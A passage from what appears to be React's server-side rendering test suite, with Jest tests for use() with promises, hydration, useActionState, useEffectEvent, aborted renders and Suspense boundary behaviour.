Promise.resolve('C');\n\n    // Jest/Node will raise an unhandled rejected error unless we await this. It\n    // works fine in the browser, though.\n    await expect(promiseB).rejects.toThrow('Oops!');\n\n    function Async() {\n      return use(promiseA) + use(promiseB) + use(promiseC);\n    }\n\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        return {error};\n      }\n      render() {\n        if (this.state.error) {\n          return this.state.error.message;\n        }\n        return this.props.children;\n      }\n    }\n\n    function App() {\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <ErrorBoundary>\n              <Async />\n            </ErrorBoundary>\n          </Suspense>\n        </div>\n      );\n    }\n\n    const reportedServerErrors = [];\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />, {\n        onError(error) {\n          reportedServerErrors.push(error);\n        },\n      });\n      pipe(writable);\n    });\n\n    // TODO: The `act` implementation in this file doesn't unwrap microtasks\n    // automatically. We can't use the same `act` we use for Fiber tests\n    // because that relies on the mock Scheduler. Doesn't affect any public\n    // API but we might want to fix this for our own internal tests.\n    //\n    // For now, wait for each promise in sequence.\n    await act(async () => {\n      await promiseA;\n    });\n    await act(async () => {\n      await expect(promiseB).rejects.toThrow('Oops!');\n    });\n    await act(async () => {\n      await promiseC;\n    });\n\n    expect(getVisibleChildren(container)).toEqual(<div>Loading...</div>);\n    expect(reportedServerErrors.length).toBe(1);\n    expect(reportedServerErrors[0].message).toBe('Oops!');\n\n    const reportedCaughtErrors = [];\n    const reportedClientErrors = [];\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onCaughtError(error) {\n        reportedCaughtErrors.push(error);\n      },\n      onRecoverableError(error) {\n        reportedClientErrors.push(error);\n      },\n    });\n    await waitForAll([]);\n    expect(getVisibleChildren(container)).toEqual(<div>Oops!</div>);\n    // Because this is rethrown on the client, it is not a recoverable error.\n    expect(reportedClientErrors.length).toBe(0);\n    // It is caught by the error boundary.\n    expect(reportedCaughtErrors.length).toBe(1);\n    expect(reportedCaughtErrors[0].message).toBe('Oops!');\n  });\n\n  it(\"use a promise that's already been instrumented and resolved\", async () => {\n    const thenable = {\n      status: 'fulfilled',\n      value: 'Hi',\n      then() {},\n    };\n\n    // This will never suspend because the thenable already resolved\n    function App() {\n      return use(thenable);\n    }\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n    expect(getVisibleChildren(container)).toEqual('Hi');\n\n    ReactDOMClient.hydrateRoot(container, <App />);\n    await waitForAll([]);\n    expect(getVisibleChildren(container)).toEqual('Hi');\n  });\n\n  it('unwraps thenable that fulfills synchronously without suspending', async () => {\n    function App() {\n      const thenable = {\n        then(resolve) {\n          // This thenable immediately resolves, synchronously, without waiting\n          // a microtask.\n          resolve('Hi');\n        },\n      };\n      try {\n        return <Text text={use(thenable)} />;\n      } catch {\n        throw new Error(\n          '`use` should not suspend because the thenable resolved synchronously.',\n        );\n      }\n    }\n    // Because the thenable resolves synchronously, we should be able to finish\n    // rendering synchronously, with no fallback.\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n    expect(getVisibleChildren(container)).toEqual('Hi');\n  });\n\n  it('promise as node', async () => {\n    const promise = Promise.resolve('Hi');\n    await act(async () => {\n      const {pipe} = renderToPipeableStream(promise);\n      pipe(writable);\n    });\n\n    // TODO: The `act` implementation in this file doesn't unwrap microtasks\n    // automatically. We can't use the same `act` we use for Fiber tests\n    // because that relies on the mock Scheduler. Doesn't affect any public\n    // API but we might want to fix this for our own internal tests.\n    await act(async () => {\n      await promise;\n    });\n\n    expect(getVisibleChildren(container)).toEqual('Hi');\n  });\n\n  it('context as node', async () => {\n    const Context = React.createContext('Hi');\n    await act(async () => {\n      const {pipe} = renderToPipeableStream(Context);\n      pipe(writable);\n    });\n    expect(getVisibleChildren(container)).toEqual('Hi');\n  });\n\n  it('recursive Usable as node', async () => {\n    const Context = React.createContext('Hi');\n    const promiseForContext = Promise.resolve(Context);\n    await act(async () => {\n      const {pipe} = renderToPipeableStream(promiseForContext);\n      pipe(writable);\n    });\n\n    // TODO: The `act` implementation in this file doesn't unwrap microtasks\n    // automatically. We can't use the same `act` we use for Fiber tests\n    // because that relies on the mock Scheduler. Doesn't affect any public\n    // API but we might want to fix this for our own internal tests.\n    await act(async () => {\n      await promiseForContext;\n    });\n\n    expect(getVisibleChildren(container)).toEqual('Hi');\n  });\n\n  it('should correctly handle different promises in React.use() across lazy components', async () => {\n    let promise1;\n    let promise2;\n    let promiseLazy;\n\n    function Component1() {\n      promise1 ??= new Promise(r => setTimeout(() => r('value1'), 50));\n      const data = React.use(promise1);\n      return (\n        <div>\n          {data}\n          <Component2Lazy />\n        </div>\n      );\n    }\n\n    function Component2() {\n      promise2 ??= new Promise(r => setTimeout(() => r('value2'), 50));\n      const data = React.use(promise2);\n      return <div>{data}</div>;\n    }\n\n    const Component2Lazy = React.lazy(async () => {\n      promiseLazy ??= new Promise(r => setTimeout(r, 50));\n      await promiseLazy;\n      return {default: Component2};\n    });\n\n    function App() {\n      return <Component1 />;\n    }\n\n    await act(async () => {\n      const {pipe} = renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n\n    // Wait for promise to resolve\n    await act(async () => {\n      await promise1;\n    });\n    await act(async () => {\n      await promiseLazy;\n    });\n    await act(async () => {\n      await promise2;\n    });\n\n    // Verify both components received the correct values\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        value1\n        <div>value2</div>\n      </div>,\n    );\n  });\n\n  it('useActionState hydrates without a mismatch', async () => {\n    // This is testing an implementation detail: useActionState emits comment\n    // nodes into the SSR stream, so this checks that they are handled correctly\n    // during hydration.\n\n    async function action(state) {\n      return state;\n    }\n\n    const childRef = React.createRef(null);\n    function Form() {\n      const [state] = useActionState(action, 0);\n      const text = `Child: ${state}`;\n      return (\n        <div id=\"child\" ref={childRef}>\n          {text}\n        </div>\n      );\n    }\n\n    function App() {\n      return (\n        <div>\n          <div>\n            <Form />\n          </div>\n          <span>Sibling</span>\n        </div>\n      );\n    }\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <div>\n          <div id=\"child\">Child: 0</div>\n        </div>\n        <span>Sibling</span>\n      </div>,\n    );\n    const child = document.getElementById('child');\n\n    // Confirm that it hydrates correctly\n    await clientAct(() => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n    expect(childRef.current).toBe(child);\n  });\n\n  it(\"useActionState hydrates without a mismatch if there's a render phase update\", async () => {\n    async function action(state) {\n      return state;\n    }\n\n    const childRef = React.createRef(null);\n    function Form() {\n      const [localState, setLocalState] = React.useState(0);\n      if (localState < 3) {\n        setLocalState(localState + 1);\n      }\n\n      // Because of the render phase update above, this component is evaluated\n      // multiple times (even during SSR), but it should only emit a single\n      // marker per useActionState instance.\n      const [actionState] = useActionState(action, 0);\n      const text = `${readText('Child')}:${actionState}:${localState}`;\n      return (\n        <div id=\"child\" ref={childRef}>\n          {text}\n        </div>\n      );\n    }\n\n    function App() {\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <Form />\n          </Suspense>\n          <span>Sibling</span>\n        </div>\n      );\n    }\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        Loading...<span>Sibling</span>\n      </div>,\n    );\n\n    await act(() => resolveText('Child'));\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <div id=\"child\">Child:0:3</div>\n        <span>Sibling</span>\n      </div>,\n    );\n    const child = document.getElementById('child');\n\n    // Confirm that it hydrates correctly\n    await clientAct(() => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n    expect(childRef.current).toBe(child);\n  });\n\n  describe('useEffectEvent', () => {\n    it('can server render a component with useEffectEvent', async () => {\n      const ref = React.createRef();\n      function App() {\n        const [count, setCount] = React.useState(0);\n        const onClick = React.useEffectEvent(() => {\n          setCount(c => c + 1);\n        });\n        return (\n          <button ref={ref} onClick={() => onClick()}>\n            {count}\n          </button>\n        );\n      }\n      await act(() => {\n        const {pipe} = renderToPipeableStream(<App />);\n        pipe(writable);\n      });\n      expect(getVisibleChildren(container)).toEqual(<button>0</button>);\n\n      ReactDOMClient.hydrateRoot(container, <App />);\n      await waitForAll([]);\n      expect(getVisibleChildren(container)).toEqual(<button>0</button>);\n\n      ref.current.dispatchEvent(\n        new window.MouseEvent('click', {bubbles: true}),\n      );\n      await jest.runAllTimers();\n      expect(getVisibleChildren(container)).toEqual(<button>1</button>);\n    });\n\n    it('throws if useEffectEvent is called during a server render', async () => {\n      const logs = [];\n      function App() {\n        const onRender = React.useEffectEvent(() => {\n          logs.push('rendered');\n        });\n        onRender();\n        return <p>Hello</p>;\n      }\n\n      const reportedServerErrors = [];\n      let caughtError;\n      try {\n        await act(() => {\n          const {pipe} = renderToPipeableStream(<App />, {\n            onError(e) {\n              reportedServerErrors.push(e);\n            },\n          });\n          pipe(writable);\n        });\n      } catch (err) {\n        caughtError = err;\n      }\n      expect(logs).toEqual([]);\n      expect(caughtError.message).toContain(\n        \"A function wrapped in useEffectEvent can't be called during rendering.\",\n      );\n      expect(reportedServerErrors).toEqual([caughtError]);\n    });\n\n    it('does not guarantee useEffectEvent return values during server rendering are distinct', async () => {\n      function App() {\n        const onClick1 = React.useEffectEvent(() => {});\n        const onClick2 = React.useEffectEvent(() => {});\n        if (onClick1 === onClick2) {\n          return <div />;\n        } else {\n          return <span />;\n        }\n      }\n      await act(() => {\n        const {pipe} = renderToPipeableStream(<App />);\n        pipe(writable);\n      });\n      expect(getVisibleChildren(container)).toEqual(<div />);\n\n      const errors = [];\n      ReactDOMClient.hydrateRoot(container, <App />, {\n        onRecoverableError(error) {\n          errors.push(error);\n        },\n      });\n      await waitForAll([]);\n      expect(errors.length).toEqual(1);\n      expect(getVisibleChildren(container)).toEqual(<span />);\n    });\n  });\n\n  it('can render scripts with simple children', async () => {\n    await act(async () => {\n      const {pipe} = renderToPipeableStream(\n        <html>\n          <body>\n            <script>{'try { foo() } catch (e) {} ;'}</script>\n          </body>\n        </html>,\n      );\n      pipe(writable);\n    });\n\n    expect(document.documentElement.outerHTML).toEqual(\n      '<html><head>' +\n        (gate(flags => flags.shouldUseFizzExternalRuntime)\n          ? '<script src=\"react-dom-bindings/src/server/ReactDOMServerExternalRuntime.js\" async=\"\"></script>'\n          : '') +\n        (gate(flags => flags.enableFizzBlockingRender)\n          ? '<link rel=\"expect\" href=\"#_R_\" blocking=\"render\">'\n          : '') +\n        '</head><body><script>try { foo() } catch (e) {} ;</script>' +\n        (gate(flags => flags.enableFizzBlockingRender)\n          ? '<template id=\"_R_\"></template>'\n          : '') +\n        '</body></html>',\n    );\n  });\n\n  it('warns if script has complex children', async () => {\n    function MyScript() {\n      return 'bar();';\n    }\n\n    function App() {\n      return (\n        <html>\n          <body>\n            <script>{2}</script>\n            <script>\n              {['try { foo() } catch (e) {} ;', 'try { bar() } catch (e) {} ;']}\n            </script>\n            <script>\n              <MyScript />\n            </script>\n          </body>\n        </html>\n      );\n    }\n\n    await act(async () => {\n      const {pipe} = renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n\n    assertConsoleErrorDev([\n      'A script element was rendered with a number for children. If script element has children it must be a single string. Consider using dangerouslySetInnerHTML or passing a plain string as children.' +\n        componentStack(['script', 'App']),\n      'A script element was rendered with an array for children. If script element has children it must be a single string. Consider using dangerouslySetInnerHTML or passing a plain string as children.' +\n        componentStack(['script', 'App']),\n      'A script element was rendered with something unexpected for children. If script element has children it must be a single string. Consider using dangerouslySetInnerHTML or passing a plain string as children.' +\n        componentStack(['script', 'App']),\n    ]);\n  });\n\n  it(\n    'a transition that flows into a dehydrated boundary should not suspend ' +\n      'if the boundary is showing a fallback',\n    async () => {\n      let setSearch;\n      function App() {\n        const [search, _setSearch] = React.useState('initial query');\n        setSearch = _setSearch;\n        return (\n          <div>\n            <div>{search}</div>\n            <div>\n              <Suspense fallback=\"Loading...\">\n                <AsyncText text=\"Async\" />\n              </Suspense>\n            </div>\n          </div>\n        );\n      }\n\n      // Render the initial HTML, which is showing a fallback.\n      await act(() => {\n        const {pipe} = renderToPipeableStream(<App />);\n        pipe(writable);\n      });\n\n      // Start hydrating.\n      await clientAct(() => {\n        ReactDOMClient.hydrateRoot(container, <App />);\n      });\n      expect(getVisibleChildren(container)).toEqual(\n        <div>\n          <div>initial query</div>\n          <div>Loading...</div>\n        </div>,\n      );\n\n      // Before the HTML has streamed in, update the query. The part outside\n      // the fallback should be allowed to finish.\n      await clientAct(() => {\n        React.startTransition(() => setSearch('updated query'));\n      });\n      expect(getVisibleChildren(container)).toEqual(\n        <div>\n          <div>updated query</div>\n          <div>Loading...</div>\n        </div>,\n      );\n    },\n  );\n\n  it('can resume a prerender that was aborted', async () => {\n    const promise = new Promise(r => {});\n\n    let prerendering = true;\n\n    function Wait() {\n      if (prerendering) {\n        return React.use(promise);\n      } else {\n        return 'Hello';\n      }\n    }\n\n    function App() {\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <p>\n              <span>\n                <Suspense fallback=\"Loading again...\">\n                  <Wait />\n                </Suspense>\n              </span>\n            </p>\n            <p>\n              <span>\n                <Suspense fallback=\"Loading again too...\">\n                  <Wait />\n                </Suspense>\n              </span>\n            </p>\n          </Suspense>\n        </div>\n      );\n    }\n\n    const controller = new AbortController();\n    const signal = controller.signal;\n\n    const errors = [];\n    function onError(error) {\n      errors.push(error);\n    }\n    let pendingPrerender;\n    await act(() => {\n      pendingPrerender = ReactDOMFizzStatic.prerenderToNodeStream(<App />, {\n        signal,\n        onError,\n      });\n    });\n    controller.abort('boom');\n\n    const prerendered = await pendingPrerender;\n\n    expect(errors).toEqual(['boom', 'boom']);\n\n    const preludeWritable = new Stream.PassThrough();\n    preludeWritable.setEncoding('utf8');\n    preludeWritable.on('data', chunk => {\n      writable.write(chunk);\n    });\n\n    await act(() => {\n      prerendered.prelude.pipe(preludeWritable);\n    });\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <p>\n          <span>Loading again...</span>\n        </p>\n        <p>\n          <span>Loading again too...</span>\n        </p>\n      </div>,\n    );\n\n    prerendering = false;\n\n    errors.length = 0;\n    const resumed = await ReactDOMFizzServer.resumeToPipeableStream(\n      <App />,\n      JSON.parse(JSON.stringify(prerendered.postponed)),\n      {\n        onError,\n      },\n    );\n\n    await act(() => {\n      resumed.pipe(writable);\n    });\n\n    expect(errors).toEqual([]);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <p>\n          <span>Hello</span>\n        </p>\n        <p>\n          <span>Hello</span>\n        </p>\n      </div>,\n    );\n  });\n\n  it('should NOT warn for using generator functions as components', async () => {\n    function* Foo() {\n      yield <h1 key=\"1\">Hello</h1>;\n      yield <h1 key=\"2\">World</h1>;\n    }\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<Foo />);\n      pipe(writable);\n    });\n\n    expect(document.body.textContent).toBe('HelloWorld');\n  });\n\n  it('can abort synchronously during render', async () => {\n    function Sibling() {\n      return <p>sibling</p>;\n    }\n\n    function App() {\n      return (\n        <div>\n          <Suspense fallback={<p>loading 1...</p>}>\n            <ComponentThatAborts />\n            <Sibling />\n          </Suspense>\n          <Suspense fallback={<p>loading 2...</p>}>\n            <Sibling />\n          </Suspense>\n          <div>\n            <Suspense fallback={<p>loading 3...</p>}>\n              <div>\n                <Sibling />\n              </div>\n            </Suspense>\n          </div>\n        </div>\n      );\n    }\n\n    const abortRef = {current: null};\n    function ComponentThatAborts() {\n      abortRef.current();\n      return <p>hello world</p>;\n    }\n\n    let finished = false;\n    await act(() => {\n      const {pipe, abort} = renderToPipeableStream(<App />);\n      abortRef.current = abort;\n      writable.on('finish', () => {\n        finished = true;\n      });\n      pipe(writable);\n    });\n\n    assertConsoleErrorDev([\n      'Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n      'Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n      'Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n    ]);\n\n    expect(finished).toBe(true);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <p>loading 1...</p>\n        <p>loading 2...</p>\n        <div>\n          <p>loading 3...</p>\n        </div>\n      </div>,\n    );\n  });\n\n  it('can abort during render in a lazy initializer for a component', async () => {\n    function Sibling() {\n      return <p>sibling</p>;\n    }\n\n    function App() {\n      return (\n        <div>\n          <Suspense fallback={<p>loading 1...</p>}>\n            <LazyAbort />\n            <Sibling />\n          </Suspense>\n          <Suspense fallback={<p>loading 2...</p>}>\n            <Sibling />\n          </Suspense>\n          <div>\n            <Suspense fallback={<p>loading 3...</p>}>\n              <div>\n                <Sibling />\n              </div>\n            </Suspense>\n          </div>\n        </div>\n      );\n    }\n\n    const abortRef = {current: null};\n    const LazyAbort = React.lazy(() => {\n      abortRef.current();\n      return {\n        then(cb) {\n          cb({default: 'div'});\n        },\n      };\n    });\n\n    let finished = false;\n    await act(() => {\n      const {pipe, abort} = renderToPipeableStream(<App />);\n      abortRef.current = abort;\n      writable.on('finish', () => {\n        finished = true;\n      });\n      pipe(writable);\n    });\n\n    assertConsoleErrorDev([\n      'Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n      'Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n      'Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n    ]);\n\n    expect(finished).toBe(true);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <p>loading 1...</p>\n        <p>loading 2...</p>\n        <div>\n          <p>loading 3...</p>\n        </div>\n      </div>,\n    );\n  });\n\n  it('can abort during render in a lazy initializer for an element', async () => {\n    function Sibling() {\n      return <p>sibling</p>;\n    }\n\n    function App() {\n      return (\n        <div>\n          <Suspense fallback={<p>loading 1...</p>}>\n            {lazyAbort}\n            <Sibling />\n          </Suspense>\n          <Suspense fallback={<p>loading 2...</p>}>\n            <Sibling />\n          </Suspense>\n          <div>\n            <Suspense fallback={<p>loading 3...</p>}>\n              <div>\n                <Sibling />\n              </div>\n            </Suspense>\n          </div>\n        </div>\n      );\n    }\n\n    const abortRef = {current: null};\n    const lazyAbort = React.lazy(() => {\n      abortRef.current();\n      return {\n        then(cb) {\n          cb({default: 'hello world'});\n        },\n      };\n    });\n\n    let finished = false;\n    await act(() => {\n      const {pipe, abort} = renderToPipeableStream(<App />);\n      abortRef.current = abort;\n      writable.on('finish', () => {\n        finished = true;\n      });\n      pipe(writable);\n    });\n\n    assertConsoleErrorDev([\n      'Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n      'Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n      'Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n    ]);\n\n    expect(finished).toBe(true);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <p>loading 1...</p>\n        <p>loading 2...</p>\n        <div>\n          <p>loading 3...</p>\n        </div>\n      </div>,\n    );\n  });\n\n  it('can abort during a synchronous thenable resolution', async () => {\n    function Sibling() {\n      return <p>sibling</p>;\n    }\n\n    function App() {\n      return (\n        <div>\n          <Suspense fallback={<p>loading 1...</p>}>\n            {thenable}\n            <Sibling />\n          </Suspense>\n          <Suspense fallback={<p>loading 2...</p>}>\n            <Sibling />\n          </Suspense>\n          <div>\n            <Suspense fallback={<p>loading 3...</p>}>\n              <div>\n                <Sibling />\n              </div>\n            </Suspense>\n          </div>\n        </div>\n      );\n    }\n\n    const abortRef = {current: null};\n    const thenable = {\n      then(cb) {\n        abortRef.current();\n        cb(thenable.value);\n      },\n    };\n\n    let finished = false;\n    await act(() => {\n      const {pipe, abort} = renderToPipeableStream(<App />);\n      abortRef.current = abort;\n      writable.on('finish', () => {\n        finished = true;\n      });\n      pipe(writable);\n    });\n\n    assertConsoleErrorDev([\n      'Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n      'Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n      'Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n    ]);\n\n    expect(finished).toBe(true);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <p>loading 1...</p>\n        <p>loading 2...</p>\n        <div>\n          <p>loading 3...</p>\n        </div>\n      </div>,\n    );\n  });\n\n  it('can support throwing after aborting during a render', async () => {\n    function App() {\n      return (\n        <div>\n          <Suspense fallback={<p>loading...</p>}>\n            <ComponentThatAborts />\n          </Suspense>\n        </div>\n      );\n    }\n\n    function ComponentThatAborts() {\n      abortRef.current('boom');\n      throw new Error('bam');\n    }\n\n    const abortRef = {current: null};\n    let finished = false;\n    const errors = [];\n    await act(() => {\n      const {pipe, abort} = renderToPipeableStream(<App />, {\n        onError(err) {\n          errors.push(err);\n        },\n      });\n      abortRef.current = abort;\n      writable.on('finish', () => {\n        finished = true;\n      });\n      pipe(writable);\n    });\n\n    expect(errors).toEqual(['boom']);\n\n    expect(finished).toBe(true);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <p>loading...</p>\n      </div>,\n    );\n  });\n\n  it('should warn for using generators as children props', async () => {\n    function* getChildren() {\n      yield <h1 key=\"1\">Hello</h1>;\n      yield <h1 key=\"2\">World</h1>;\n    }\n\n    function Foo() {\n      const children = getChildren();\n      return <div>{children}</div>;\n    }\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<Foo />);\n      pipe(writable);\n    });\n    assertConsoleErrorDev([\n      'Using Iterators as children is unsupported and will likely yield ' +\n        'unexpected results because enumerating a generator mutates it. ' +\n        'You may convert it to an array with `Array.from()` or the ' +\n        '`[...spread]` operator before rendering. You can also use an ' +\n        'Iterable that can iterate multiple times over the same items.\\n' +\n        '    in div (at **)\\n' +\n        '    in Foo (at **)',\n    ]);\n\n    expect(document.body.textContent).toBe('HelloWorld');\n  });\n\n  it('should warn for using other types of iterators as children', async () => {\n    function Foo() {\n      let i = 0;\n      const iterator = {\n        [Symbol.iterator]() {\n          return iterator;\n        },\n        next() {\n          switch (i++) {\n            case 0:\n              return {done: false, value: <h1 key=\"1\">Hello</h1>};\n            case 1:\n              return {done: false, value: <h1 key=\"2\">World</h1>};\n            default:\n              return {done: true, value: undefined};\n          }\n        },\n      };\n      return iterator;\n    }\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<Foo />);\n      pipe(writable);\n    });\n    assertConsoleErrorDev([\n      'Using Iterators as children is unsupported and will likely yield ' +\n        'unexpected results because enumerating a generator mutates it. ' +\n        'You may convert it to an array with `Array.from()` or the ' +\n        '`[...spread]` operator before rendering. You can also use an ' +\n        'Iterable that can iterate multiple times over the same items.\\n' +\n        '    in Foo (at **)',\n    ]);\n\n    expect(document.body.textContent).toBe('HelloWorld');\n  });\n\n  // @gate __DEV__\n  it('can get the component owner stacks during rendering in dev', async () => {\n    let stack;\n\n    function Foo() {\n      return <Bar />;\n    }\n    function Bar() {\n      return (\n        <div>\n          <Baz />\n        </div>\n      );\n    }\n    function Baz() {\n      stack = React.captureOwnerStack();\n      return <span>hi</span>;\n    }\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <div>\n          <Foo />\n        </div>,\n      );\n      pipe(writable);\n    });\n\n    expect(normalizeCodeLocInfo(stack)).toBe(\n      '\\n    in Bar (at **)' + '\\n    in Foo (at **)',\n    );\n  });\n\n  // @gate __DEV__\n  it('can get the component owner stacks for onError in dev', async () => {\n    const thrownError = new Error('hi');\n    let caughtError;\n    let parentStack;\n    let ownerStack;\n\n    function Foo() {\n      return <Bar />;\n    }\n    function Bar() {\n      return (\n        <div>\n          <Baz />\n        </div>\n      );\n    }\n    function Baz() {\n      throw thrownError;\n    }\n\n    await expect(async () => {\n      await act(() => {\n        const {pipe} = renderToPipeableStream(\n          <div>\n            <Foo />\n          </div>,\n          {\n            onError(error, errorInfo) {\n              caughtError = error;\n              parentStack = errorInfo.componentStack;\n              ownerStack = React.captureOwnerStack\n                ? React.captureOwnerStack()\n                : null;\n            },\n          },\n        );\n        pipe(writable);\n      });\n    }).rejects.toThrow(thrownError);\n\n    expect(caughtError).toBe(thrownError);\n    expect(normalizeCodeLocInfo(parentStack)).toBe(\n      '\\n    in Baz (at **)' +\n        '\\n    in div (at **)' +\n        '\\n    in Bar (at **)' +\n        '\\n    in Foo (at **)' +\n        '\\n    in div (at **)',\n    );\n    expect(normalizeCodeLocInfo(ownerStack)).toBe(\n      '\\n    in Bar (at **)' + '\\n    in Foo (at **)',\n    );\n  });\n\n  it('can recover from very deep trees to avoid stack overflow', async () => {\n    function Recursive({n}) {\n      if (n > 0) {\n        return <Recursive n={n - 1} />;\n      }\n      return <span>hi</span>;\n    }\n\n    // Recursively render a component tree deep enough to trigger stack overflow.\n    // Don't make this too short to not hit the limit but also not too deep to slow\n    // down the test.\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <div>\n          <Recursive n={1000} />\n        </div>,\n      );\n      pipe(writable);\n    });\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>hi</span>\n      </div>,\n    );\n  });\n\n  it('handles stack overflows inside components themselves', async () => {\n    function StackOverflow() {\n      // This component is recursive inside itself and is therefore an error.\n      // Assuming no tail-call optimizations.\n      function recursive(n, a0, a1, a2, a3) {\n        if (n > 0) {\n          return recursive(n - 1, a0, a1, a2, a3) + a0 + a1 + a2 + a3;\n        }\n        return a0;\n      }\n      return recursive(10000, 'should', 'not', 'resolve', 'this');\n    }\n\n    let caughtError;\n\n    await expect(async () => {\n      await act(() => {\n        const {pipe} = renderToPipeableStream(\n          <div>\n            <StackOverflow />\n          </div>,\n          {\n            onError(error, errorInfo) {\n              caughtError = error;\n            },\n          },\n        );\n        pipe(writable);\n      });\n    }).rejects.toThrow('Maximum call stack size exceeded');\n\n    expect(caughtError.message).toBe('Maximum call stack size exceeded');\n  });\n\n  it('client renders incomplete Suspense boundaries when the document is no longer loading when hydration begins', async () => {\n    let resolve;\n    const promise = new Promise(r => {\n      resolve = r;\n    });\n\n    function Blocking() {\n      React.use(promise);\n      return null;\n    }\n\n    function App() {\n      return (\n        <div>\n          <p>outside</p>\n          <Suspense fallback={<p>loading...</p>}>\n            <Blocking />\n            <p>inside</p>\n          </Suspense>\n        </div>\n      );\n    }\n\n    const errors = [];\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />, {\n        onError(err) {\n          errors.push(err.message);\n        },\n      });\n      pipe(writable);\n    });\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <p>outside</p>\n        <p>loading...</p>\n      </div>,\n    );\n\n    await act(() => {\n      // We now end the stream and resolve the promise that was blocking the boundary\n      // Because the stream is ended it won't actually propagate to the client\n      writable.end();\n      document.readyState = 'complete';\n      resolve();\n    });\n    // ending the stream early will cause it to error on the server\n    expect(errors).toEqual([\n      expect.stringContaining('The destination stream closed early'),\n    ]);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <p>outside</p>\n        <p>loading...</p>\n      </div>,\n    );\n\n    const clientErrors = [];\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error, errorInfo) {\n        clientErrors.push(error.message);\n      },\n    });\n    await waitForAll([]);\n    // When we hydrate the client the document is already not loading\n    // so we client render the boundary in fallback\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <p>outside</p>\n        <p>inside</p>\n      </div>,\n    );\n    expect(clientErrors).toEqual([\n      expect.stringContaining(\n        'The server could not finish this Suspense boundar',\n      ),\n    ]);\n  });\n\n  it('client renders incomplete Suspense boundaries when the document stops loading during hydration', async () => {\n    let resolve;\n    const promise = new Promise(r => {\n      resolve = r;\n    });\n\n    function Blocking() {\n      React.use(promise);\n      return null;\n    }\n\n    function App() {\n      return (\n        <div>\n          <p>outside</p>\n          <Suspense fallback={<p>loading...</p>}>\n            <Blocking />\n            <p>inside</p>\n          </Suspense>\n        </div>\n      );\n    }\n\n    const errors = [];\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />, {\n        onError(err) {\n          errors.push(err.message);\n        },\n      });\n      pipe(writable);\n    });\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <p>outside</p>\n        <p>loading...</p>\n      </div>,\n    );\n\n    await act(() => {\n      // We now end the stream and resolve the promise that was blocking the boundary\n      // Because the stream is ended it won't actually propagate to the client\n      writable.end();\n      resolve();\n    });\n    // ending the stream early will cause it to error on the server\n    expect(errors).toEqual([\n      expect.stringContaining('The destination stream closed early'),\n    ]);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <p>outside</p>\n        <p>loading...</p>\n      </div>,\n    );\n\n    const clientErrors = [];\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error, errorInfo) {\n        clientErrors.push(error.message);\n      },\n    });\n    await waitForAll([]);\n    // When we hydrate the client is still waiting for the blocked boundary\n    // and won't client render unless the document is no longer loading\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <p>outside</p>\n        <p>loading...</p>\n      </div>,\n    );\n\n    document.readyState = 'complete';\n    await waitForAll([]);\n    // Now that the document is no longer in loading readyState it will client\n    // render the boundary in fallback\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <p>outside</p>\n        <p>inside</p>\n      </div>,\n    );\n    expect(clientErrors).toEqual([\n      expect.stringContaining(\n        'The server could not finish this Suspense boundar',\n      ),\n    ]);\n  });\n\n  it('can suspend inside the <head /> tag', async () => {\n    function BlockedOn({value, children}) {\n      readText(value);\n      return children;\n    }\n\n    function App() {\n      return (\n        <html>\n          